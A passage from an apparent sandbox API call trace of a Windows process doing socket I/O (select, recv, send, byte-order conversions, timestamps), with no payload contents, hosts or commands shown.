[0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.415] rand () returned 4664 [0119.415] rand () returned 15141 [0119.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.415] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.415] GetCurrentThreadId () returned 0x918 [0119.415] WSASetLastError (iError=0) [0119.415] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.415] SetLastError (dwErrCode=0x0) [0119.415] WSASetLastError (iError=0) [0119.415] recv (in: s=0x1d4, buf=0x865668, len=1304, flags=0 | out: buf=0x865668*) returned 1304 [0119.415] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.415] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.415] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.415] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x9333) returned 0x3393 [0119.416] htons (hostshort=0x1f2) returned 0xf201 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x9333) returned 0x3393 [0119.416] htons (hostshort=0x1f2) returned 0xf201 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x9333) returned 0x3393 [0119.416] htons (hostshort=0x1f2) returned 0xf201 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htons (hostshort=0x0) returned 0x0 [0119.416] htons (hostshort=0x3393) returned 0x9333 [0119.416] htons (hostshort=0xf201) returned 0x1f2 [0119.416] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] GetCurrentThreadId () returned 0x918 [0119.417] WSASetLastError (iError=0) [0119.417] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.417] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.417] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.417] rand () returned 7711 [0119.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] GetCurrentThreadId () returned 0x918 [0119.417] WSASetLastError (iError=0) [0119.417] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.417] SetLastError (dwErrCode=0x0) [0119.417] WSASetLastError (iError=0) [0119.417] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.417] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.417] htons (hostshort=0x0) returned 0x0 [0119.417] htons (hostshort=0x3393) returned 0x9333 [0119.417] htons (hostshort=0xf201) returned 0x1f2 [0119.417] htons (hostshort=0x0) returned 0x0 [0119.417] htons (hostshort=0x3393) returned 0x9333 [0119.417] htons (hostshort=0xf201) returned 0x1f2 [0119.417] htons (hostshort=0x0) returned 0x0 [0119.417] htons (hostshort=0x9333) returned 0x3393 [0119.417] htons (hostshort=0x1f2) returned 0xf201 [0119.417] htons (hostshort=0x0) returned 0x0 [0119.417] htons (hostshort=0x3393) returned 0x9333 [0119.417] htons (hostshort=0xf201) returned 0x1f2 [0119.417] htons (hostshort=0x0) returned 0x0 [0119.417] htons (hostshort=0x3393) returned 0x9333 [0119.417] htons (hostshort=0xf201) returned 0x1f2 [0119.417] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x9333) returned 0x3393 [0119.418] htons (hostshort=0x1f2) returned 0xf201 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x9333) returned 0x3393 [0119.418] htons (hostshort=0x1f2) returned 0xf201 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x9333) returned 0x3393 [0119.418] htons (hostshort=0x1f2) returned 0xf201 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.418] htons (hostshort=0x0) returned 0x0 [0119.418] htons (hostshort=0x3393) returned 0x9333 [0119.418] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xc001) returned 0x1c0 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xc001) returned 0x1c0 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x9333) returned 0x3393 [0119.419] htons (hostshort=0x1c0) returned 0xc001 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xc001) returned 0x1c0 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xc001) returned 0x1c0 [0119.419] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x9333) returned 0x3393 [0119.419] htons (hostshort=0x1f2) returned 0xf201 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x9333) returned 0x3393 [0119.419] htons (hostshort=0x1f2) returned 0xf201 [0119.419] htons (hostshort=0x0) returned 0x0 [0119.419] htons (hostshort=0x3393) returned 0x9333 [0119.419] htons (hostshort=0xf201) returned 0x1f2 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x3393) returned 0x9333 [0119.420] htons (hostshort=0xf201) returned 0x1f2 [0119.420] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.420] rand () returned 28253 [0119.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.420] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.420] GetCurrentThreadId () returned 0x918 [0119.420] WSASetLastError (iError=0) [0119.420] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.420] SetLastError (dwErrCode=0x0) [0119.420] WSASetLastError (iError=0) [0119.420] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.420] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.420] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.420] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.420] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x3393) returned 0x9333 [0119.420] htons (hostshort=0xf201) returned 0x1f2 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x3393) returned 0x9333 [0119.420] htons (hostshort=0xf201) returned 0x1f2 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x9333) returned 0x3393 [0119.420] htons (hostshort=0x1f2) returned 0xf201 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x3393) returned 0x9333 [0119.420] htons (hostshort=0xf201) returned 0x1f2 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.420] htons (hostshort=0x3393) returned 0x9333 [0119.420] htons (hostshort=0xf201) returned 0x1f2 [0119.420] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.420] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x9333) returned 0x3393 [0119.421] htons (hostshort=0x1f2) returned 0xf201 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x9333) returned 0x3393 [0119.421] htons (hostshort=0x1f2) returned 0xf201 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x9333) returned 0x3393 [0119.421] htons (hostshort=0x1f2) returned 0xf201 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htons (hostshort=0x0) returned 0x0 [0119.421] htons (hostshort=0x3393) returned 0x9333 [0119.421] htons (hostshort=0xf201) returned 0x1f2 [0119.421] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x9333) returned 0x3393 [0119.422] htons (hostshort=0x1f2) returned 0xf201 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x9333) returned 0x3393 [0119.422] htons (hostshort=0x1f2) returned 0xf201 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x9333) returned 0x3393 [0119.422] htons (hostshort=0x1f2) returned 0xf201 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.422] htons (hostshort=0xf201) returned 0x1f2 [0119.422] htons (hostshort=0x0) returned 0x0 [0119.422] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x9333) returned 0x3393 [0119.423] htons (hostshort=0x1f2) returned 0xf201 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.423] rand () returned 6868 [0119.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.423] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.423] GetCurrentThreadId () returned 0x918 [0119.423] WSASetLastError (iError=0) [0119.423] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.423] SetLastError (dwErrCode=0x0) [0119.423] WSASetLastError (iError=0) [0119.423] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.423] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.423] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.423] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.423] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x3393) returned 0x9333 [0119.423] htons (hostshort=0xf201) returned 0x1f2 [0119.423] htons (hostshort=0x0) returned 0x0 [0119.423] htons (hostshort=0x9333) returned 0x3393 [0119.423] htons (hostshort=0x1f2) returned 0xf201 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x9333) returned 0x3393 [0119.424] htons (hostshort=0x1f2) returned 0xf201 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x9333) returned 0x3393 [0119.424] htons (hostshort=0x1f2) returned 0xf201 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.424] htons (hostshort=0x3393) returned 0x9333 [0119.424] htons (hostshort=0xf201) returned 0x1f2 [0119.424] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x9333) returned 0x3393 [0119.425] htons (hostshort=0x1f2) returned 0xf201 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x9333) returned 0x3393 [0119.425] htons (hostshort=0x1f2) returned 0xf201 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htons (hostshort=0x0) returned 0x0 [0119.425] htons (hostshort=0x3393) returned 0x9333 [0119.425] htons (hostshort=0xf201) returned 0x1f2 [0119.425] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.425] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.425] rand () returned 25547 [0119.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.425] WSASetLastError (iError=0) [0119.425] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.425] SetLastError (dwErrCode=0x0) [0119.425] WSASetLastError (iError=0) [0119.425] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.425] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.425] rand () returned 27644 [0119.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.425] WSASetLastError (iError=0) [0119.425] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.426] SetLastError (dwErrCode=0x0) [0119.426] WSASetLastError (iError=0) [0119.426] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.426] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.426] rand () returned 32662 [0119.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db3a4f0, dwHighDateTime=0x1d31ac1)) [0119.426] WSASetLastError (iError=0) [0119.426] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.426] SetLastError (dwErrCode=0x0) [0119.426] WSASetLastError (iError=0) [0119.426] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 1750 [0119.426] SetLastError (dwErrCode=0x0) [0119.426] WSASetLastError (iError=0) [0119.426] recv (in: s=0x1d4, buf=0x865d3e, len=2066, flags=0 | out: buf=0x865d3e) returned -1 [0119.426] WSAGetLastError () returned 10035 [0119.426] GetCurrentThreadId () returned 0x918 [0119.426] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.450] rand () returned 32757 [0119.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.450] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.450] GetCurrentThreadId () returned 0x918 [0119.450] WSASetLastError (iError=0) [0119.450] recv (in: s=0x1d4, buf=0x865d3e, len=2066, flags=0 | out: buf=0x865d3e*) returned 2066 [0119.451] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.451] rand () returned 20037 [0119.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db60650, dwHighDateTime=0x1d31ac1)) [0119.451] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.451] GetCurrentThreadId () returned 0x918 [0119.451] WSASetLastError (iError=0) [0119.451] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.451] SetLastError (dwErrCode=0x0) [0119.451] WSASetLastError (iError=0) [0119.451] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.451] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, 